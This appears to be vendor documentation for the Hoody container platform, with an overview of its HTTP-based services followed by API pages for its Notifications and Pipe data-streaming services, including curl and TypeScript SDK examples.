**Collaborative notes via HTTP**—realtime multi-user notes, inline databases, and file attachments.

**Key Capabilities:**
- Realtime multi-user editing
- Inline tables / databases
- File attachments per note
- REST + WebSocket API

**Perfect for:** Shared runbooks, team knowledge bases, embedded checklists

[API Reference →](/api/notes/)





**File system watchers via HTTP**—recursive path monitoring streamed over SSE or WebSocket.

**Key Capabilities:**
- Recursive directory watching (Linux inotify)
- SSE streaming
- WebSocket streaming
- Pattern filters

**Perfect for:** Build triggers, live reload, file-change-driven automation

[API Reference →](/api/watch/)





**Multi-source app resolver**—query app names across Nix, pkgx, AppImage, Docker/OCI, and manifest registries; get back the exact shell command.

**Key Capabilities:**
- Search across 9+ package sources in one query
- Candidate ranking (manual or first-match)
- Exact shell command output (agent-friendly)
- Path-based launch URLs
- Per-user profiles

**Perfect for:** AI agent app discovery, portable install flows, cross-source launchers

[API Reference →](/api/app/)





**Access logs from Hoody Proxy via HTTP**—query and tail the request log for the container.

**Key Capabilities:**
- Query historical access logs
- Live tail over SSE / WebSocket
- Filter by path, method, status, time range

**Perfect for:** Debugging access issues, traffic analysis, audit trails

[API Reference →](/api/proxy-logs/)





**TCP tunneling over HTTP**—expose local services online or pull remote services into the container through the relay.

**Key Capabilities:**
- Expose HTTP/WS/TCP services to the internet
- Pull remote TCP services into the container loopback
- Session-based control plane
- URL/port bindings management

**Perfect for:** Sharing local dev servers, bridging networks, remote access

[Learn More →](/kit/tunnel/)





---

## Why HTTP Services Matter

**Traditional approach:** Install tools on your computer. Each requires setup, configuration, dependencies, compatibility checks. Switching computers means reinstalling everything.

**Hoody approach:** Everything is a URL. Open the URL, you have the tool. Works on any device with a browser—phone, tablet, laptop, or TV.

### The URL is the Installation

Need a terminal? Open the terminal URL.  
Need a database? Open the SQLite URL.  
Need VS Code? Open the code URL.

**No installation. No configuration. Just URLs.**

### Composability Through HTTP

Because everything speaks HTTP, everything composes:

```javascript
// Terminal executes command that queries database
fetch(terminalUrl + '/api/v1/terminal/execute', {
  method: 'POST',
  body: JSON.stringify({
    command: `curl -X POST ${sqliteUrl}/api/v1/sqlite/db?db=app -H 'Content-Type: application/json' -d '{"transaction":[{"query":"SELECT * FROM users"}]}'`
  })
});

// Exec script reads file, processes data, stores in database
fetch(execUrl + '/process-data.ts', {
  method: 'POST',
  body: JSON.stringify({
    input_file: filesUrl + '/data/input.csv',
    output_db: sqliteUrl
  })
});

// Agent orchestrates entire workflow across all services
fetch(agentUrl + '/api/v1/agent/prompt', {
  method: 'POST',
  body: JSON.stringify({
    ai: "Deploy the app using terminal, monitor with browser, store logs in database",
    wait: true
  })
});
```

**Each service is independent.** Together, they're a complete development environment.

---

## Service Categories

The 18 services organize into 4 logical groups:

### Interact & Visualize
**See and control your containers:**
- **Terminals** - Command-line interface via HTTP
- **Displays** - Graphical desktop in browser
- **Browser** - Automated Chrome for testing/scraping
- **Pipe** - Streaming data transfer between any devices

### Data & State
**Store and access information:**
- **Files** - Unified file system with cloud storage
- **SQLite** - Database and KV store
- **Notes** - Collaborative notes, databases, and files

### Automate & Orchestrate
**Run code and coordinate systems:**
- **Exec** - Execute scripts as HTTP endpoints
- **cURL** - HTTP requests with scheduling
- **Run** - Multi-source app resolver (Nix, pkgx, AppImage, Docker/OCI)

### Operate & Monitor
**Manage and observe systems:**
- **Daemons** - Background process management
- **Cron** - Managed cron job scheduling
- **Notifications** - Push alerts and updates
- **Code** - Web-based IDE
- **Watch** - File and event watchers
- **Proxy Logs** - Access logs from Hoody Proxy
- **Tunnel** - TCP tunneling over HTTP
- **Workspaces** - Global management UI

---

## Multiple Instances, Same Container

**Here's the power:** You can run **multiple instances** of most services in the SAME container:

```
terminal-1, terminal-2, terminal-3, terminal-4...
display-1, display-2, display-3, display-4...
exec-1, exec-2, exec-3...
sqlite-1, sqlite-2, sqlite-3...
browser-1, browser-2, browser-3...
curl-1, curl-2, curl-3...
daemon-1, daemon-2, daemon-3...
cron-1, cron-2, cron-3...
code-1, code-2, code-3...
pipe-1, pipe-2, pipe-3...
```

**Why this matters:**
- **Separation of concerns** - Terminal-1 for frontend, terminal-2 for backend, terminal-3 for database
- **Parallel operations** - Run tests in exec-1 while building in exec-2
- **Specialized agents** - Agent-1 for code, agent-2 for docs, agent-3 for DevOps
- **Multi-user collaboration** - Each user gets their own terminal/display instance

**All instances share the same container filesystem, processes, and network**—it's one computer with multiple access points.

---

## Integration Patterns

### Terminal + Display (Visual Development)

```txt
# Type in terminal-5
terminal-5.hoody.icu → firefox &

# See in display-5 (auto-mapped)
display-5.hoody.icu → Firefox appears
```

GUI applications automatically appear in matching display numbers. Zero configuration.

### Terminal + Agent (AI-Assisted Shell)

```txt
# Terminal with embedded agent panel
terminal-1.hoody.icu/?panel=...workspaces-1.hoody.icu&panel-width=40%
```

AI assistant helps with commands, explains output, suggests best practices—all in one window.

### Files + SQLite + Exec (Data Pipeline)

```javascript
// Read CSV from cloud storage
const data = await fetch(filesUrl + '/google-drive/data.csv');

// Process with exec script
const processed = await fetch(execUrl + '/etl.ts', {
  method: 'POST',
  body: data
});

// Store in SQLite
await fetch(sqliteUrl + '/api/v1/sqlite/db?db=analytics', {
  method: 'POST',
  body: JSON.stringify({
    transaction: [{ statement: 'INSERT INTO analytics VALUES (...)' }]
  })
});
```

Services compose naturally through HTTP.

### Agent + Everything (Full Automation)

```javascript
// Agent has access to all container services
const agent = await fetch(agentUrl + '/api/v1/agent/prompt', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    ai: "Set up production environment",
    wait: true
  })
});

// Agent coordinates:
// 1. Terminal - Install dependencies
// 2. Files - Download config from cloud
// 3. SQLite - Initialize database schema
// 4. Exec - Run deployment script
// 5. Notifications - Alert when complete
```

One task description. Multiple services orchestrated.

---

## Use Cases

### Development Environment

**Problem:** Need to code from your phone/tablet but VS Code requires desktop OS.

**Solution:**
```
code-1.hoody.icu       → Full VS Code in mobile browser
terminal-1.hoody.icu   → Run builds and tests
display-1.hoody.icu    → Preview GUI applications
```

Your complete development environment, accessible from any device.

### Multi-Project Management

**Problem:** Managing 10+ projects switching between terminals, editors, databases.

**Solution:**
```
Workspace shows all projects
  ├─ Project A: terminal-1, display-1, sqlite-1 (frontend app)
  ├─ Project B: terminal-1, agent-1, exec-1 (API service)
  ├─ Project C: browser-1, curl-1, sqlite-1 (scraper)
  └─ Project D: terminal-1, code-1, files (docs site)
```

One workspace. All projects visible. Click to access any service instantly.

### AI-Driven Development

**Problem:** AI agents can't install tools or access infrastructure.

**Solution:**
```
workspaces-1.hoody.icu  → AI has HTTP access to:
  ├─ terminal (execute commands)
  ├─ files (read/write code)
  ├─ exec (run scripts)
  ├─ sqlite (manage state)
  └─ browser (test web apps)
```

AI orchestrates entire development workflow via HTTP. Human approves critical decisions.

### Remote Team Collaboration

**Problem:** Share development environment with team across time zones.

**Solution:**
```
# Share workspace URL with team
https://abc123-def456-workspaces-1.node-us-1.containers.hoody.icu

# Team sees:
- Live terminal sessions (multiplayer)
- Shared displays (see what others see)
- Common file access
- Shared database state
```

Everyone works in the same environment, from anywhere.

---

## Service Discovery

**How to find service URLs after spawning a container:**

### Option 1: Hoody API Response

When you create a container, the response includes server details:

```json
{
  "data": {
    "id": "def456",
    "project_id": "abc123",
    "server_name": "node-us-1",
    "status": "running"
  }
}
```

Construct URLs:
```
https://abc123-def456-terminal-1.node-us-1.containers.hoody.icu
https://abc123-def456-display-1.node-us-1.containers.hoody.icu
```

### Option 2: Workspace UI

Open Workspaces, select your container, see all service URLs with copy buttons.

### Option 3: Container Info Endpoint

```bash
GET /api/v1/containers/{container_id}
```

Returns full container details including computed service URLs.

---

## Best Practices

### Use the Right Service for the Job

**Don't use a terminal when exec makes more sense:**
- ❌ `terminal.run/execute` → `cd /app && npm test && echo "done"`
- ✅ `exec.run/test-runner.ts` → Clean script with logging, error handling, proper structure

**Don't use exec when terminal is simpler:**
- ❌ Create exec script just to run `ls -la`
- ✅ `terminal.run/execute` → `{"command": "ls -la"}`

### Organize with Instance Numbers

**Give instances semantic meaning:**
```
terminal-1  → Frontend work
terminal-2  → Backend work
terminal-3  → Database management
terminal-4  → DevOps/deployment

agent-1  → Code and tests
agent-2  → Documentation
agent-3  → Infrastructure

exec-1  → API endpoints
exec-2  → Scheduled tasks
exec-3  → Data processing
```

### Leverage Cross-Service Integration

**Services work better together:**
- Terminal + Display → Visual debugging
- Files + SQLite → Data pipelines
- Agent + Everything → Full autonomy
- Browser + Exec → Web automation
- Terminal + Agent Panel → AI-assisted development

### Use Shared Storage and SQLite Drive

**For cross-container workflows:**
- `/hoody/shared/` → Files accessible from all containers
- `/hoody/databases/` → SQLite databases accessible from all containers

See [Shared Storage →](/foundation/storage/sharing-files/) and [SQLite Drive →](/foundation/storage/sqlite-drive/)

---

## Useful Questions

### Are all 18 services included in every container?

Yes, when you create a container with `hoody_kit: true`. If you set `hoody_kit: false`, you get a plain Linux container without these HTTP services (SSH access only)—useful for minimal containers or custom setups.

### Can I disable specific services I don't need?

Currently, all services come together. However, unused services consume minimal resources (they only activate when accessed). A terminal service that never receives requests uses almost no CPU/memory.

### How do services communicate within the same container?

They share the same filesystem, processes, and network. A file created via the Files service is immediately readable via Terminal. A database created via SQLite is accessible from Exec scripts. They're all running on the same Linux computer.

### Can multiple users access the same service instance simultaneously?

Yes! Terminals and Displays support multiplayer—multiple users typing in the same terminal or seeing the same desktop. Other services (Files, SQLite, Exec) are accessible simultaneously with standard HTTP concurrency.

### What happens to services when I snapshot a container?

Snapshots capture the complete container state, including all services and their data. When you restore a snapshot, all services come back exactly as they were—terminal history, file contents, database state, daemon configurations.

### Do I need different authentication for each service?

No. Proxy permissions control access to ALL services in a container. Set permissions once at the project or container level, and it applies to terminals, displays, files, SQLite, exec, etc.

### Can services in different containers communicate?

Yes. Containers on the same server can communicate via internal networking. Use Shared Storage (`/hoody/shared/`) for file sharing or SQLite Drive (`/hoody/databases/`) for database sharing across containers.

### Which service URLs support embedding in iframes?

All of them! Every service is web-native:
- Terminals → Embed live shell
- Displays → Embed desktop view
- Files → Embed file browser
- SQLite → Embed database UI
- Code → Embed VS Code
- Agent → Embed chat interface

This is how you build custom dashboards—compose service iframes.

---

## Troubleshooting

### Service URL returns 404 Not Found

**Problem:** `https://abc123-def456-terminal-1.node-us.containers.hoody.icu` returns 404

**Causes:**
1. **Container not running** - Check status: `GET /api/v1/containers/{id}`
2. **Wrong URL format** - Verify project_id, container_id, server_name are correct
3. **Proxy permissions** - Service might be blocked by permissions

**Solutions:**
```bash
# Verify container is running
curl "https://api.hoody.icu/api/v1/containers/{container_id}" \
  -H "Authorization: Bearer $HOODY_TOKEN" | jq '.data.status'

# Check server name matches
# Should be: node-us-1, node-eu-1, etc. (check container response)

# Verify proxy permissions allow access
curl "https://api.hoody.icu/api/v1/containers/{container_id}/proxy/permissions" \
  -H "Authorization: Bearer $HOODY_TOKEN"
```

### Service is slow or unresponsive

**Problem:** Service URLs are very slow to respond

**Causes:**
1. **Server overloaded** - Too many containers/processes on server
2. **Network congestion** - High traffic on container
3. **Resource limits** - Container out of CPU/memory

**Solutions:**
```bash
# Check server resource usage
curl "https://abc123-def456-terminal-1.node-us.containers.hoody.icu/api/v1/system/resources"

# Check running processes
curl "https://abc123-def456-terminal-1.node-us.containers.hoody.icu/api/v1/system/processes?sort=cpu"

# Consider moving to less loaded server or upgrading server resources
```

### Can't access service from specific device/network

**Problem:** Service works from laptop but not from phone/public WiFi

**Cause:** Proxy permissions restrict access by IP or require authentication

**Solution:**
```bash
# Check current permissions
GET /api/v1/containers/{id}/proxy/permissions

# Update to allow your IP or remove IP restrictions
PUT /api/v1/containers/{id}/proxy/permissions
{
  "groups": {},
  "permissions": {},
  "default": "deny"
}
```

See [Proxy Permissions →](/foundation/proxy/permissions/) for access control details.

---

## What's Next

**Explore individual services:**
- **[Terminals →](./terminals/)** - Command execution and shell access
- **[Displays →](./displays/)** - Visual desktop and GUI applications  
- **[Files →](./files/)** - File access and cloud storage
- **[SQLite →](./sqlite/)** - Database and KV operations

**Understand the platform:**
- **[Projects & Containers →](/foundation/projects-containers/)** - How Hoody organizes infrastructure
- **[Hoody Proxy →](/foundation/proxy/)** - How services become URLs
- **[The HTTP Mindset →](/foundation/http-mindset/)** - Why everything is HTTP

**See complete technical specs:**
- **[API Reference →](/api/authentication/)** - Every endpoint documented

---

> **The Hoody Kit turns every container into a complete computing environment.**  
> **18 HTTP services. Zero installation. Infinite possibilities.**  
> **Everything you need, accessible via URL.**

---

# Notifications

**Page:** kit/notifications

[Download Raw Markdown](./kit/notifications.md)

---

**Send Linux desktop notifications to container displays via HTTP.** The Notification Server runs inside your container and dispatches notifications using `notify-send` on the container's X11 display — the same mechanism used by Linux desktop notification daemons.


This is a **container display notification system**, not a push notification service for mobile or wearable devices. Notifications appear on the container's X11 display (e.g., display `"0"` or `":0"`). To see these notifications, you need access to that display — via a remote desktop session, VNC, or the Hoody browser-based display viewer.


## What You Can Do

- 🖥️ **Container Display Notifications** — Send Linux desktop notifications via `notify-send` on a container's X11 display
- 📡 **WebSocket Streaming** — Real-time notification feed
- 📜 **Notification History** — Query past notifications with filtering
- 🎨 **Custom Icons** — Include images in notifications
- ⚡ **Urgency Levels** — low, normal, critical priority
- ⏱️ **Auto-Expiration** — Notifications auto-dismiss after timeout
- 🏷️ **Categorization** — Organize and filter by category

## How It Works

The Notification Server receives HTTP POST requests and calls `notify-send` on the specified container display. The `display` parameter maps to an X11 display identifier — for example `"0"` (equivalent to `:0`) or `":1"`.

Notifications appear wherever that display is rendered: in a Hoody display viewer session, a VNC session, or any remote desktop client connected to the container.

## Notifications are attached to a display

Every notification you send is routed to a specific X11 display inside the container. The flow is:

1. The kit's HTTP handler calls `notify-send`, which speaks D-Bus to the `dunst` daemon running on the target display.
2. `dunst` runs a logging hook that records each delivered notification to a per-display history JSON file in the kit's notification-history directory.
3. The kit's file watcher (inotify on that directory) picks up the new entry and fans it out to any WebSocket / SSE subscribers.

**You do not need to set up Xvfb, D-Bus, or `dunst` yourself.** A display's services come up in two ways:

- **When you create a terminal/desktop session** with a `display` argument — Hoody Terminal boots the X server and `dunst` the first time a session for that display is created.
- **On-demand, when a notification is triggered** — before dispatching, the notifications kit calls Hoody Terminal to ensure the target display exists (display-ensure, enabled by default). A first notification to a not-yet-running display normally succeeds once the display boots; if ensure cannot return a D-Bus address — and no inherited D-Bus session is available — within the display-ensure timeout (30s by default), the trigger returns HTTP 500 instead.

```typescript
// Creating a terminal session with `display: '1'` is enough — when this
// returns, X server + dunst should be ready on :1, so notifications to
// display "1" do not need a separate manual display start.
await box.terminal.sessions.create({
  terminal_id: '1',
  display: '1',
  wait_until_display: true,
});

await box.notifications.notify.trigger({
  display: '1',
  summary: 'Build complete',
  body: 'Your deployment finished successfully',
});
```

The same is true when you open a display via the URL path (`terminal-N?display=N&redirect=display`, `desktop-N`, etc.) — every entry point that brings a display up also brings up its notification daemon.

### If notifications fail: start a display manually

If `notify.trigger` returns:

```json
{
  "success": false,
  "error": "Notification dispatch failed",
  "details": "No D-Bus session available for display :N. hoody-terminal ensure did not provide dbus_address."
}
```

…then the kit's automatic display-ensure could not obtain a working D-Bus session for `:N` — Hoody Terminal either could not bring the display up or did not return a `dbus_address`. Spawn the display explicitly via the SDK and retry:

```typescript
// Recovery: bring up display :N (boots Xvfb + dunst) explicitly, then retry.
await box.terminal.sessions.create({
  terminal_id: 'N',
  display: 'N',
  wait_until_display: true,
});

await box.notifications.notify.trigger({ display: 'N', summary: '…' });
```

Keeping the session alive is also a latency optimization: after a successful ensure, repeated triggers reuse the display-ensure cache for 60 seconds; once the cache expires, ensure runs again and is usually quick for an already-running display. If you tear the session down with `terminal.sessions.delete(terminalId)`, the next trigger may first try a cached D-Bus address, then invalidate it after a `notify-send` failure and re-run ensure — it can still fail if ensure cannot produce a D-Bus session or `notify-send` keeps failing before the retry deadline.

## API Endpoints Summary

All endpoints accessed relative to your Notification Server URL:
```
https://PROJECT_ID-CONTAINER_ID-n-1.SERVER.containers.hoody.icu
```

**Triggering**:
- [`POST /api/v1/notifications/notify`](/api/kit/notification-server/triggering/) - Send notification to a container display

**Fetching**:
- [`GET /api/v1/notifications/{display}`](/api/kit/notification-server/fetching/) - Get notification history for a display

**Streaming**:
- WebSocket: `wss://.../api/v1/notifications/stream?displays=0,1` (or `displays=all`)

**Icons**:
- [`GET /api/v1/notifications/icons/{iconId}`](/api/kit/notification-server/icons/) - Retrieve notification icon

**Health**:
- [`GET /api/v1/notifications/health`](/api/kit/notification-server/health/) - Service health check

## Send a Notification


  
    ```bash
    # Send a notification to display 0
    hoody notifications trigger \
      --display "0" \
      --summary "Build Complete" \
      --body "Your deployment finished successfully"

    # Get notification history for display 0
    hoody notifications list "0" --limit 50
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });
    const containerClient = await client.withContainer({ id: CONTAINER_ID, project_id: PROJECT_ID, server: SERVER });

    // Send notification to display 0
    await containerClient.notifications.notify.trigger({
      display: '0',
      summary: 'Build Complete',
      body: 'Your deployment finished successfully',
    });
    ```
  
  
    ```bash
    # Send a notification to display 0
    curl -X POST "https://PROJECT-CONTAINER-n-1.SERVER.containers.hoody.icu/api/v1/notifications/notify" \
      -H "Content-Type: application/json" \
      -d '{
        "display": "0",
        "summary": "Build Complete",
        "body": "Your deployment finished successfully"
      }'

    # Get notification history for display 0
    curl "https://PROJECT-CONTAINER-n-1.SERVER.containers.hoody.icu/api/v1/notifications/0?limit=50"
    ```
  




The notification appears on the container's X11 display `0` — visible in any connected display session.

## Display Parameter

The `display` parameter specifies which X11 display to target inside the container:

| Value | Meaning |
|-------|---------|
| `"0"` | Display `:0` (most common default) |
| `":0"` | Same as above, explicit X11 format |
| `"1"` | Display `:1` |
| `":1"` | Same as above, explicit X11 format |

The `display` field is always a **JSON string**, even when the value is a number (`"0"`, not `0`). It must be a syntactically valid X11 display ID — digits, optionally colon-prefixed (`"0"`, `":1"`, `"10"`); it does not have to be running before the request — the kit ensures it on demand. See [Notifications are attached to a display](#notifications-are-attached-to-a-display) for how that happens automatically, and [If notifications fail: start a display manually](#if-notifications-fail-start-a-display-manually) for recovery if ensure cannot obtain a D-Bus session.

## Urgency Levels

**low** - Subtle, dismisses quickly:
```json
{
  "display": "0",
  "summary": "Background task finished",
  "urgency": "low",
  "expire_time": 3000
}
```

**normal** - Standard notification:
```json
{
  "display": "0",
  "summary": "Build Complete",
  "urgency": "normal"
}
```

**critical** - Highest urgency; often remains visible until dismissed, depending on daemon policy:
```json
{
  "display": "0",
  "summary": "System Alert",
  "body": "Immediate action required",
  "urgency": "critical",
  "expire_time": 0
}
```

## Real-Time WebSocket

Monitor notifications in real-time. The stream endpoint upgrades to a WebSocket when the client requests it (and falls back to Server-Sent Events otherwise).

```javascript
const ws = new WebSocket(
  'wss://PROJECT_ID-CONTAINER_ID-n-1.SERVER.containers.hoody.icu/api/v1/notifications/stream?displays=0'
);

ws.onmessage = (event) => {
  const msg = JSON.parse(event.data);

  if (msg.type === 'notification') {
    // msg = { type: 'notification', display: '0',
    //         data: { id, display_id, appname, summary, body, urgency, … } }
    console.log('New notification on display', msg.display, msg.data.summary);
  }
};
```

The stream sends `notification` messages — one per emitted notification. On the **SSE** transport you also get a `connected` message on open and a periodic `heartbeat`; an invalid SSE request fails with HTTP 400 before the stream opens. On **WebSocket** the upgrade itself signals connection and keep-alives are protocol-level Ping/Pong (no JSON heartbeat) — but the server can still push a JSON `error` message for an invalid initial display id, a rejected origin, or a connection/rate limit. See [the streaming reference](/api/kit/notification-server/streaming/) for the full message shapes per transport.

### Multiple displays — per-display isolation

The `displays` query parameter chooses which displays the subscription receives:

| `displays=` value | Behavior |
|---|---|
| `0` | Only notifications routed to display `0` |
| `0,1,3` | Notifications routed to any of displays 0, 1, or 3 |
| `all` (or `*`) | All displays — useful for debug subscribers and dashboards |

Per-display subscriptions are **filtered server-side** — a subscriber to display `0` will never receive a notification triggered on display `1`, even if both are active in the same container. This lets you put one tab per user on the same container without cross-talk:

```javascript
// User A's tab — only sees notifications meant for them
new WebSocket('wss://…/api/v1/notifications/stream?displays=10');

// User B's tab — only sees their own
new WebSocket('wss://…/api/v1/notifications/stream?displays=20');
```

Subscribing to a display does not start that display — only trigger requests ensure displays on demand. Pre-creating sessions with parallel `terminal.sessions.create` calls is optional: do it when you want lower first-notification latency, or visible desktops ready before the first trigger.

## Notification History

Query past notifications:

```bash
# Last 50 notifications on display 0
curl "https://.../api/v1/notifications/0?limit=50"

# Time range
curl "https://.../api/v1/notifications/0?since=1749025000000"

# Multiple displays
curl "https://.../api/v1/notifications/0,1,2?limit=100"
```

## Use Cases

### CI/CD Pipeline Alerts
Long-running build completes → HTTP POST → notification appears on the container display in a running display session.

### System Monitoring
Server alerts → HTTP → desktop notification on the container's X11 display, visible in any active display session.

### Long-Running Task Completion
Data exports, video rendering, ML model training, backup completion — notify when done without polling.

### Automated Workflow Events
Cron jobs, scheduled tasks, and automation scripts can send notifications to the container display upon completion or failure.

## Best Practices

### Display ID Conventions
Use consistent display IDs (per-user, per-tenant, per-purpose) and document your mapping. For latency-sensitive paths, keep a terminal/desktop session alive for displays you send to often; otherwise the notifications kit ensures the display on demand when a trigger arrives.

### Notification Quality
Write clear, actionable summaries, include relevant context in body, set appropriate urgency levels, do not spam.

### WebSocket for Dashboards
Subscribe to relevant displays only, implement reconnection logic, filter notifications client-side if needed, show notification history in UI.

## Useful Questions

**Q: How do I view the notifications?**
Notifications appear on the container's X11 display. Access the display via a Hoody display viewer session, VNC, or any remote desktop client connected to the container.

**Q: Can I send notifications to my phone?**
No — this system uses Linux `notify-send` on a container display, not a mobile push notification service. Notifications go to the container's X11 display environment, not to mobile devices.

**Q: What is the `display` parameter?**
It's an X11 display identifier (e.g., `"0"` for display `:0`). It must be syntactically valid (digits, optionally colon-prefixed); the kit ensures that display before sending. If ensure cannot obtain a D-Bus session, or `notify-send` still fails before the retry deadline, the trigger returns HTTP 500.

**Q: What if I send to a display that doesn't exist?**
The kit first tries to bring the display up automatically (display-ensure). A non-existent display only becomes an error if ensure cannot provide a usable D-Bus session, or `notify-send` still fails before the retry deadline — typically **HTTP 500** with `{"success": false, "error": "Notification dispatch failed", "details": "No D-Bus session available for display :N…"}`. The recovery path is to spawn the display via `terminal.sessions.create({ terminal_id, display, wait_until_display: true })`, then retry. See [If notifications fail: start a display manually](#if-notifications-fail-start-a-display-manually). (Stream subscribers to a non-running display just receive nothing — they do not error.)

**Q: Can I use this without an X11 display?**
No. The kit ultimately calls `notify-send`, which speaks the freedesktop D-Bus notification protocol — so an X11 display *and* a notification daemon (`dunst`) must be running. Both are started for you automatically — either when you create a terminal/desktop session with a `display` argument, or on-demand when the kit ensures the display before a trigger; you do not install or run them yourself.

**Q: Does this work offline?**
Usually — the notification server runs inside your container, so delivery does not require internet access once the container, display services, D-Bus, and the `notify-send` path are all working.

## Troubleshooting

### Notification Not Appearing (HTTP 500 "No D-Bus session available")
**Cause**: The kit's automatic display-ensure could not obtain a working D-Bus session for the target display — Hoody Terminal could not bring the display up, or returned no `dbus_address`, so `notify-send` had no session to dispatch through.
**Solution**: Spawn the display explicitly via the SDK and retry — see [If notifications fail: start a display manually](#if-notifications-fail-start-a-display-manually). Once the terminal session is created with `wait_until_display: true`, subsequent triggers should not need another manual display start; failures can still occur if D-Bus or `notify-send` fails before the retry deadline.

### Notification triggered but never arrives on the WebSocket
**Cause**: Subscriber is filtering for a different display (per-display isolation) or the trigger went to a display that's down.
**Solution**: Confirm the `displays=` query parameter on the WebSocket matches the `display` field in the trigger. To receive everything for debugging, subscribe with `displays=all`.

### WebSocket Disconnects
**Cause**: Network instability or idle timeout.
**Solution**: Implement reconnection with exponential backoff and handle connection errors gracefully. On the **SSE** transport you can also watch for the periodic JSON `heartbeat` message; on **WebSocket** the browser handles protocol-level Ping/Pong automatically — there is no JSON heartbeat to monitor.

## What's Next

---

# Pipe

**Page:** kit/pipe

[Download Raw Markdown](./kit/pipe.md)

---

# Pipe

**Named pipes, but over the internet.** Send data to a path via PUT/POST, receive it via GET — data streams in real-time from sender to receiver(s) with zero server-side storage. Any path. Any content. Up to 256 simultaneous receivers.

## Why This Matters

Sharing data between machines has always been painful. FTP servers, SSH tunnels, file upload services, WebSocket boilerplate, signaling servers for WebRTC. Every approach requires setup, authentication libraries, or specialized clients.

hoody-pipe reduces all of it to two curl commands:

```bash
# Terminal A: Send a file
curl -T report.pdf https://{projectId}-{containerId}-pipe-1.{server}.containers.hoody.icu/my-report

# Terminal B: Receive the file (run this before, during, or after the sender connects)
curl https://{projectId}-{containerId}-pipe-1.{server}.containers.hoody.icu/my-report > report.pdf
```

**That's it.** No upload limits. No temporary storage. Data flows directly from sender to receiver the moment both are connected.

**No per-pipe accounts — access control is enforced centrally by Hoody Proxy** (IP allowlist, passwords, JWT). The pipe service itself has no service-level auth; permissions are configured at the proxy layer, not per-pipe.

---

## How It Works

1. A sender **POSTs** (or **PUTs**) data to a path — e.g. `/api/v1/pipe/my-screen-share`
2. A receiver **GETs** the same path
3. Data streams directly from sender to all receivers — **no buffering, no temporary files**
4. Either party can connect first — the server holds the early connection until the counterpart arrives (up to 5-minute TTL)

The path is just a name you choose. `/my-file`, `/demo-stream`, `/logs/today` — anything that isn't a reserved system path (`/`, `/help`, `/noscript`, `/favicon.ico`, `/robots.txt`). Reserved-path matching is normalization-robust: `/Help`, `/help/`, `/help.`, `/help%2e` all fold to `/help` and are rejected, so attackers can't register an aliased pipe over a built-in page. The canonical health endpoint is `/api/v1/pipe/health`; the server also explicitly 404s a bare `/health` with the hint `'/health' is not a valid path. Use '/api/v1/pipe/health'.`


hoody-pipe is **not** store-and-forward. There is no upload step followed by a download step. Data flows through the server in real-time. When the sender writes a byte, receivers see it immediately.


---

## Quick Examples

### Send and Receive a File


  
    ```bash
    # Sender: Upload a file
    hoody pipe send backup ./backup.tar.gz --container $CONTAINER

    # Receiver: Download the file
    hoody pipe receive backup -o backup.tar.gz --container $CONTAINER
    ```
  
  
    ```bash
    # Sender: Upload a file (PUT is natural for curl -T)
    curl -T ./backup.tar.gz \
      https://{projectId}-{containerId}-pipe-1.{server}.containers.hoody.icu/api/v1/pipe/backup

    # Receiver: Download the file
    curl https://{projectId}-{containerId}-pipe-1.{server}.containers.hoody.icu/api/v1/pipe/backup \
      -o backup.tar.gz
    ```
  
  
    ```typescript
    import { HoodyClient, PipeStream } from '@hoody-ai/hoody-sdk';
    import { createReadStream, createWriteStream } from 'node:fs';
    import { Writable } from 'node:stream';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });
    const containerClient = await client.withContainer({ id: CONTAINER_ID, project_id: PROJECT_ID, server: SERVER });

    // Generic byte-stream API (any source/sink) via PipeStream
    const pipe = PipeStream.fromClient(client, { id: CONTAINER_ID, project_id: PROJECT_ID, server: SERVER });

    // Send: any PipeSource (file stream, Buffer, string, ReadableStream, TCP/Unix socket, AsyncIterable)
    const send = await pipe.send('backup', createReadStream('./backup.tar.gz'));
    await send.done;

    // Receive: get a Web ReadableStream you can pipe anywhere
    const recv = await pipe.receive('backup');
    await recv.body.pipeTo(Writable.toWeb(createWriteStream('./backup.tar.gz')));
    ```
  


### Stream Text Between Containers


  
    ```bash
    # Container A: stream a long-running command's stdout
    hoody pipe send live-logs --from-cmd "tail -f /var/log/app.log"

    # Container B: receive to stdout (the default sink)
    hoody pipe receive live-logs
    ```
  
  
    ```bash
    # Container A: Pipe logs in real-time
    tail -f /var/log/app.log | curl -T - \
      https://{projectId}-{containerId}-pipe-1.{server}.containers.hoody.icu/api/v1/pipe/live-logs

    # Container B: Watch the logs
    curl https://{projectId}-{containerId}-pipe-1.{server}.containers.hoody.icu/api/v1/pipe/live-logs
    ```
  
  
    ```typescript
    import { PipeStream } from '@hoody-ai/hoody-sdk';

    const pipe = PipeStream.fromClient(client, { id: CONTAINER_ID, project_id: PROJECT_ID, server: SERVER });

    // Async-iterable source — perfect for line-by-line producers
    async function* tail() {
      for await (const line of process.stdin) yield line;
    }
    await (await pipe.send('live-logs', tail())).done;

    // Receiver: pipe Web ReadableStream straight to stdout
    const recv = await pipe.receive('live-logs');
    await recv.body.pipeTo(Writable.toWeb(process.stdout));
    ```
  


### Multi-Receiver Fan-Out

Send once, stream to multiple receivers simultaneously:


  
    ```bash
    # Sender: Stream to 3 receivers
    hoody pipe send demo ./presentation.webm -n 3

    # Receiver 1, 2, 3: Each runs this
    hoody pipe receive demo -n 3 -o presentation.webm
    ```
  
  
    ```bash
    # Sender: Stream to 3 receivers
    curl -T ./presentation.webm \
      "https://{projectId}-{containerId}-pipe-1.{server}.containers.hoody.icu/api/v1/pipe/demo?n=3"

    # Receiver 1, 2, 3: Each runs this (all get identical copies)
    curl "https://{projectId}-{containerId}-pipe-1.{server}.containers.hoody.icu/api/v1/pipe/demo?n=3" \
      -o presentation.webm
    ```
  
  
    ```typescript
    // Sender: Stream to 3 receivers
    const send = await pipe.send('demo', createReadStream('./presentation.webm'), { n: 3 });
    await send.done;

    // Each receiver
    const recv = await pipe.receive('demo', { n: 3 });
    await recv.body.pipeTo(Writable.toWeb(createWriteStream('./presentation.webm')));
    ```
  



The `n` parameter must match between sender and all receivers. The transfer doesn't begin until all `n` receivers and the sender are connected.


---

## API Endpoints Summary

All endpoints accessed relative to your Pipe service URL:
```
https://{projectId}-{containerId}-pipe-1.{server}.containers.hoody.icu
```

**Data Transfer**:
- `POST /api/v1/pipe/{path}` — Send data to a pipe path
